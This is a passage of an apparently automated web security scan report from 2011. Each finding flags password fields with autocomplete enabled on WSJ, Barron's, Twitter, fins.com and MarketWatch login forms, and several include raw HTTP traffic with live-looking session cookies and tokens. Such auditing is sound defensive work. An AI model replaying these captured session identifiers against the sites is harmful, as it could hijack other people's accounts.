passwordReg
passwordConfirmationReg

Request

Response

16.27. http://realestate.wsj.com/item/822547 previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://realestate.wsj.com
Path:	/item/822547

Issue detail

The page contains a form with the following action URL:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field with autocomplete enabled:

password

Request

Response

16.28. http://topics.barrons.com/person/S/michael-santoli/6041 previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://topics.barrons.com
Path:	/person/S/michael-santoli/6041

Issue detail

The page contains a form with the following action URL:

http://commerce.barrons.com/auth/submitlogin?mod=BOL_header_login

The form contains the following password field with autocomplete enabled:

password

Request

Response

16.29. http://topics.wsj.com/djscript/latest/dj/widget/panels/view/SlidePanel.js previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://topics.wsj.com
Path:	/djscript/latest/dj/widget/panels/view/SlidePanel.js

Issue detail

The page contains a form with the following action URL:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field with autocomplete enabled:

password

Request

Response

16.30. http://topics.wsj.com/subject/W/wall-street-journal/nbc-news-polls/6052 previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://topics.wsj.com
Path:	/subject/W/wall-street-journal/nbc-news-polls/6052

Issue detail

The page contains a form with the following action URL:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field with autocomplete enabled:

password

Request

Response

16.31. http://twitter.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://twitter.com
Path:	/

Issue detail

The page contains a form with the following action URL:

https://twitter.com/sessions?phx=1

The form contains the following password field with autocomplete enabled:

session[password]

Request

GET / HTTP/1.1
Host: twitter.com
Proxy-Connection: keep-alive
Referer: http://twitter.com/WSJHouse
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: k=173.193.214.243.1305305564166059; guest_id=130536894972281377; original_referer=Vs%2BEmu1btvtijeAp0as8odTqICjT%2F%2Fddzu%2BIl%2BDmq8wqvfcyN8Q%2B%2BVzJuvqyxEy5DyZjyYsh4Cm3aLUWk8ue%2FHRNWBcQaHm3uqLcVkjIW0M%3D; _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCN5zDe4vAToHaWQiJWRhZGY0MmFlMGQ5NzRl%250ANWZjZmEyNzk5NjliZWNhN2JmIgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--402431e3028a7db3fc3d062aaddd37d943996df5

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:29:11 GMT
Server: hi
Status: 200 OK
X-Transaction: 1305368951-35104-55076
ETag: "c0b1a2c30afaad61d0972518e50c8c37"-gzip
X-Frame-Options: SAMEORIGIN
Last-Modified: Sat, 14 May 2011 10:29:11 GMT
X-Runtime: 0.01015
Content-Type: text/html; charset=utf-8
Pragma: no-cache
X-Revision: DEV
Expires: Tue, 31 Mar 1981 05:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
X-MID: 52d05c13955886050f0ec380bc4bba24574895d4
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCN5zDe4vASIKZmxhc2hJQzonQWN0aW9uQ29u%250AdHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7ADoHaWQiJWRh%250AZGY0MmFlMGQ5NzRlNWZjZmEyNzk5NjliZWNhN2Jm--1e8959e9ceeb0223d784c20c334853c6edecf64d; domain=.twitter.com; path=/; HttpOnly
X-XSS-Protection: 1; mode=block
Vary: Accept-Encoding
Connection: close
Content-Length: 43146

<!DOCTYPE html>
<html >
<head>

<title>Twitter</title>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta charset="utf-8" />

<script type="text/javascript" charset="utf-8">

...[SNIP]...
<div class="front-signin">
<form action="https://twitter.com/sessions?phx=1" class="signin" method="post">
<fieldset class="textbox">
...[SNIP]...
</span>
<input type="password" id="password" value="" name="session[password]" title="Password" />
</div>
...[SNIP]...

16.32. http://twitter.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://twitter.com
Path:	/

Issue detail

The page contains a form with the following action URL:

https://twitter.com/sessions?phx=1

The form contains the following password field with autocomplete enabled:

session[password]

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:29:11 GMT
Server: hi
Status: 200 OK
X-Transaction: 1305368951-35104-55076
ETag: "c0b1a2c30afaad61d0972518e50c8c37"-gzip
X-Frame-Options: SAMEORIGIN
Last-Modified: Sat, 14 May 2011 10:29:11 GMT
X-Runtime: 0.01015
Content-Type: text/html; charset=utf-8
Pragma: no-cache
X-Revision: DEV
Expires: Tue, 31 Mar 1981 05:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
X-MID: 52d05c13955886050f0ec380bc4bba24574895d4
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCN5zDe4vASIKZmxhc2hJQzonQWN0aW9uQ29u%250AdHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7ADoHaWQiJWRh%250AZGY0MmFlMGQ5NzRlNWZjZmEyNzk5NjliZWNhN2Jm--1e8959e9ceeb0223d784c20c334853c6edecf64d; domain=.twitter.com; path=/; HttpOnly
X-XSS-Protection: 1; mode=block
Vary: Accept-Encoding
Connection: close
Content-Length: 43146

<!DOCTYPE html>
<html >
<head>

<title>Twitter</title>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta charset="utf-8" />

<script type="text/javascript" charset="utf-8">

...[SNIP]...
<div id="signin-dropdown" class="dropdown dark">
<form action="https://twitter.com/sessions?phx=1" class="signin" method="post">
<fieldset class="textbox">
...[SNIP]...
</span>
<input type="password" value="" name="session[password]" />
</label>
...[SNIP]...

16.33. http://twitter.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://twitter.com
Path:	/

Issue detail

The page contains a form with the following action URL:

https://twitter.com/signup

The form contains the following password field with autocomplete enabled:

user[user_password]

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:29:11 GMT
Server: hi
Status: 200 OK
X-Transaction: 1305368951-35104-55076
ETag: "c0b1a2c30afaad61d0972518e50c8c37"-gzip
X-Frame-Options: SAMEORIGIN
Last-Modified: Sat, 14 May 2011 10:29:11 GMT
X-Runtime: 0.01015
Content-Type: text/html; charset=utf-8
Pragma: no-cache
X-Revision: DEV
Expires: Tue, 31 Mar 1981 05:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
X-MID: 52d05c13955886050f0ec380bc4bba24574895d4
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCN5zDe4vASIKZmxhc2hJQzonQWN0aW9uQ29u%250AdHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7ADoHaWQiJWRh%250AZGY0MmFlMGQ5NzRlNWZjZmEyNzk5NjliZWNhN2Jm--1e8959e9ceeb0223d784c20c334853c6edecf64d; domain=.twitter.com; path=/; HttpOnly
X-XSS-Protection: 1; mode=block
Vary: Accept-Encoding
Connection: close
Content-Length: 43146

<!DOCTYPE html>
<html >
<head>

<title>Twitter</title>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta charset="utf-8" />

<script type="text/javascript" charset="utf-8">

...[SNIP]...
</h3>
<form action="https://twitter.com/signup" method="post">
<div class="holding name">
...[SNIP]...
</span>
<input type="password" value="" name="user[user_password]"/>
</div>
...[SNIP]...

16.34. http://twitter.com/WSJHouse previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://twitter.com
Path:	/WSJHouse

Issue detail

The page contains a form with the following action URL:

https://twitter.com/sessions

The form contains the following password field with autocomplete enabled:

session[password]

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:29:09 GMT
Server: hi
Status: 200 OK
X-Transaction: 1305368949-82961-30556
ETag: "f56346da1d6f43d8be0a943b36cb2b29"-gzip
X-Frame-Options: SAMEORIGIN
Last-Modified: Sat, 14 May 2011 10:29:09 GMT
X-Runtime: 0.01306
Content-Type: text/html; charset=utf-8
Pragma: no-cache
X-Revision: DEV
Expires: Tue, 31 Mar 1981 05:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
X-MID: 4b766f3376288b6316e85a2ba5ce26cc9b3d625a
Set-Cookie: guest_id=130536894972281377; path=/; expires=Mon, 13 Jun 2011 10:29:09 GMT
Set-Cookie: original_referer=Vs%2BEmu1btvtijeAp0as8odTqICjT%2F%2Fddzu%2BIl%2BDmq8wqvfcyN8Q%2B%2BVzJuvqyxEy5DyZjyYsh4Cm3aLUWk8ue%2FHRNWBcQaHm3uqLcVkjIW0M%3D; path=/
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCN5zDe4vAToHaWQiJWRhZGY0MmFlMGQ5NzRl%250ANWZjZmEyNzk5NjliZWNhN2JmIgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--402431e3028a7db3fc3d062aaddd37d943996df5; domain=.twitter.com; path=/; HttpOnly
X-XSS-Protection: 1; mode=block
Vary: Accept-Encoding
Connection: close
Content-Length: 37552

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta htt
...[SNIP]...
<div id="signin_menu" class="common-form standard-form offscreen">

<form method="post" id="signin" action="https://twitter.com/sessions">

<input id="authenticity_token" name="authenticity_token" type="hidden" value="024291de4e49288c80bef152b5d710714778a52a" />
...[SNIP]...
</label>
<input type="password" id="password" name="session[password]" value="" title="password" tabindex="5"/>
</p>
...[SNIP]...

16.35. http://www.fins.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.fins.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.fins.com/default.aspx

The form contains the following password field with autocomplete enabled:

ctl00$ucloginPopup$txtPwd

Request

Response

16.36. http://www.fins.com/Job-Interview-Tips previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.fins.com
Path:	/Job-Interview-Tips

Issue detail

The page contains a form with the following action URL:

http://www.fins.com/Job-Interview-Tips4.aspx

The form contains the following password field with autocomplete enabled:

ctl00$ucloginPopup$txtPwd

Request

Response

16.37. http://www.fins.com/Tour.aspx previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.fins.com
Path:	/Tour.aspx

Issue detail

The page contains a form with the following action URL:

http://www.fins.com/Tour.aspx

The form contains the following password field with autocomplete enabled:

ctl00$ucloginPopup$txtPwd

Request

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:34:03 GMT
Content-Length: 40184

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><meta http-equiv="con
...[SNIP]...
<div class="Content clearfix">
<form name="aspnetForm" method="post" action="Tour.aspx" onsubmit="javascript:return WebForm_OnSubmit();" id="aspnetForm">
<div>
...[SNIP]...
<br />

<input name="ctl00$ucloginPopup$txtPwd" type="password" maxlength="25" id="ctl00_ucloginPopup_txtPwd" class="textbox pwd" />
<a id="ctl00_ucloginPopup_btnLogin" class="form_submit button shadeA arrowRight" href="javascript:WebForm_DoPostBackWithOptions(new WebForm_PostBackOptions("ctl00$ucloginPopup$btnLogin&q
...[SNIP]...

16.38. http://www.marketwatch.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/

Issue detail

The page contains a form with the following action URL:

https://secure.marketwatch.com/user/account/logon

The form contains the following password field with autocomplete enabled:

password

Request

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 3.0
X-AspNet-Version: 4.0.30319
Set-Cookie: mw5_prefs=mox=False&exp=5/14/2013; domain=.marketwatch.com; expires=Tue, 14-May-2013 05:00:00 GMT; path=/
Set-Cookie: mw5_ads=seen=16; domain=.marketwatch.com; expires=Sun, 15-May-2011 04:59:59 GMT; path=/
X-Powered-By: ASP.NET
X-MACHINE: secdfpswebp04
Date: Sat, 14 May 2011 10:12:49 GMT
Content-Length: 244138

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
</p><form method="post" action="https://secure.marketwatch.com/user/account/logon">
   <div>
...[SNIP]...
<br/>
           <input type="password" name="password" value="" class="text password"/>
       </p>
...[SNIP]...

16.39. http://www.marketwatch.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/

Issue detail

The page contains a form with the following action URL:

https://secure.marketwatch.com/user/account/logon

The form contains the following password field with autocomplete enabled:

password

Request

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 3.0
X-AspNet-Version: 4.0.30319
Set-Cookie: mw5_prefs=mox=False&exp=5/14/2013; domain=.marketwatch.com; expires=Tue, 14-May-2013 05:00:00 GMT; path=/
Set-Cookie: mw5_ads=seen=16; domain=.marketwatch.com; expires=Sun, 15-May-2011 04:59:59 GMT; path=/
X-Powered-By: ASP.NET
X-MACHINE: secdfpswebp04
Date: Sat, 14 May 2011 10:12:49 GMT
Content-Length: 244138

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
</a><form method="post" action="https://secure.marketwatch.com/user/account/logon">
   <div>
...[SNIP]...
<br/>
           <input type="password" name="password" value="" class="text password"/>
       </p>
...[SNIP]...

16.40. http://www.marketwatch.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/

Issue detail

The page contains a form with the following action URL:

https://secure.marketwatch.com/user/account/logon

The form contains the following password field with autocomplete enabled:

password

Request

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 3.0
X-AspNet-Version: 4.0.30319
Set-Cookie: mw5_prefs=mox=False&exp=5/14/2013; domain=.marketwatch.com; expires=Tue, 14-May-2013 05:00:00 GMT; path=/
Set-Cookie: mw5_ads=seen=16; domain=.marketwatch.com; expires=Sun, 15-May-2011 04:59:59 GMT; path=/
X-Powered-By: ASP.NET
X-MACHINE: secdfpswebp04
Date: Sat, 14 May 2011 10:12:49 GMT
Content-Length: 244138

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
</p><form method="post" action="https://secure.marketwatch.com/user/account/logon">
   <div>
...[SNIP]...
<br/>
           <input type="password" name="password" value="" class="text password"/>
       </p>
...[SNIP]...

16.41. http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13 previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13

Issue detail

The page contains a form with the following action URL:

https://secure.marketwatch.com/user/account/logon

The form contains the following password field with autocomplete enabled:

password

Request

GET /story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&; ASP.NET_SessionId=oz1fwf5bs4it123trqmlzxnf; __g_c=w%3A1%7Cb%3A3%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; rsi_csl=lA; rsi_segs=G07608_10001; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Article_Futures%252520Movers_53B5F46A-7D06-11E0-915A-00212804637C%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13%25253Flink%25253DMW_story_in%2526ot%253DA

Response

16.42. http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13 previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13

Issue detail

The page contains a form with the following action URL:

https://secure.marketwatch.com/user/account/logon

The form contains the following password field with autocomplete enabled:

password

Request

GET /story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&; ASP.NET_SessionId=oz1fwf5bs4it123trqmlzxnf; __g_c=w%3A1%7Cb%3A3%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; rsi_csl=lA; rsi_segs=G07608_10001; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Article_Futures%252520Movers_53B5F46A-7D06-11E0-915A-00212804637C%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13%25253Flink%25253DMW_story_in%2526ot%253DA

Response

16.43. http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13 previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13

Issue detail

The page contains a form with the following action URL:

https://secure.marketwatch.com/user/account/logon

The form contains the following password field with autocomplete enabled:

password

Request

GET /story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&; ASP.NET_SessionId=oz1fwf5bs4it123trqmlzxnf; __g_c=w%3A1%7Cb%3A3%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; rsi_csl=lA; rsi_segs=G07608_10001; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Article_Futures%252520Movers_53B5F46A-7D06-11E0-915A-00212804637C%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13%25253Flink%25253DMW_story_in%2526ot%253DA

Response

16.44. http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390 previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390

Issue detail

The page contains a form with the following action URL:

https://secure.marketwatch.com/user/account/logon

The form contains the following password field with autocomplete enabled:

password

Request

GET /story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390?Link=obinsite HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://traffic.outbrain.com/network/redir?key=f465737d830a35fc698cafafb4ce7caf&rdid=205292719&type=IMD_def_prd&in-site=true&req_id=cd9a83f96a2d455991d95bc48290df11&agent=blog_JS_rec&recMode=3&reqType=1&wid=102&imgType=0&version=37740&idx=3
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&; ASP.NET_SessionId=oz1fwf5bs4it123trqmlzxnf; __g_c=w%3A1%7Cb%3A4%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; rsi_csl=lA; rsi_segs=G07608_10001; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=%5B%5BB%5D%5D

Response

16.45. http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390 previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390

Issue detail

The page contains a form with the following action URL:

https://secure.marketwatch.com/user/account/logon

The form contains the following password field with autocomplete enabled:

password

Request

GET /story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390?Link=obinsite HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://traffic.outbrain.com/network/redir?key=f465737d830a35fc698cafafb4ce7caf&rdid=205292719&type=IMD_def_prd&in-site=true&req_id=cd9a83f96a2d455991d95bc48290df11&agent=blog_JS_rec&recMode=3&reqType=1&wid=102&imgType=0&version=37740&idx=3
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&; ASP.NET_SessionId=oz1fwf5bs4it123trqmlzxnf; __g_c=w%3A1%7Cb%3A4%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; rsi_csl=lA; rsi_segs=G07608_10001; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=%5B%5BB%5D%5D

Response

16.46. http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390 previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390

Issue detail

The page contains a form with the following action URL:

https://secure.marketwatch.com/user/account/logon

The form contains the following password field with autocomplete enabled:

password

Request

GET /story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390?Link=obinsite HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://traffic.outbrain.com/network/redir?key=f465737d830a35fc698cafafb4ce7caf&rdid=205292719&type=IMD_def_prd&in-site=true&req_id=cd9a83f96a2d455991d95bc48290df11&agent=blog_JS_rec&recMode=3&reqType=1&wid=102&imgType=0&version=37740&idx=3
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&; ASP.NET_SessionId=oz1fwf5bs4it123trqmlzxnf; __g_c=w%3A1%7Cb%3A4%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; rsi_csl=lA; rsi_segs=G07608_10001; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=%5B%5BB%5D%5D

Response

16.47. http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12

Issue detail

The page contains a form with the following action URL:

https://secure.marketwatch.com/user/account/logon

The form contains the following password field with autocomplete enabled:

password

Request

GET /story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
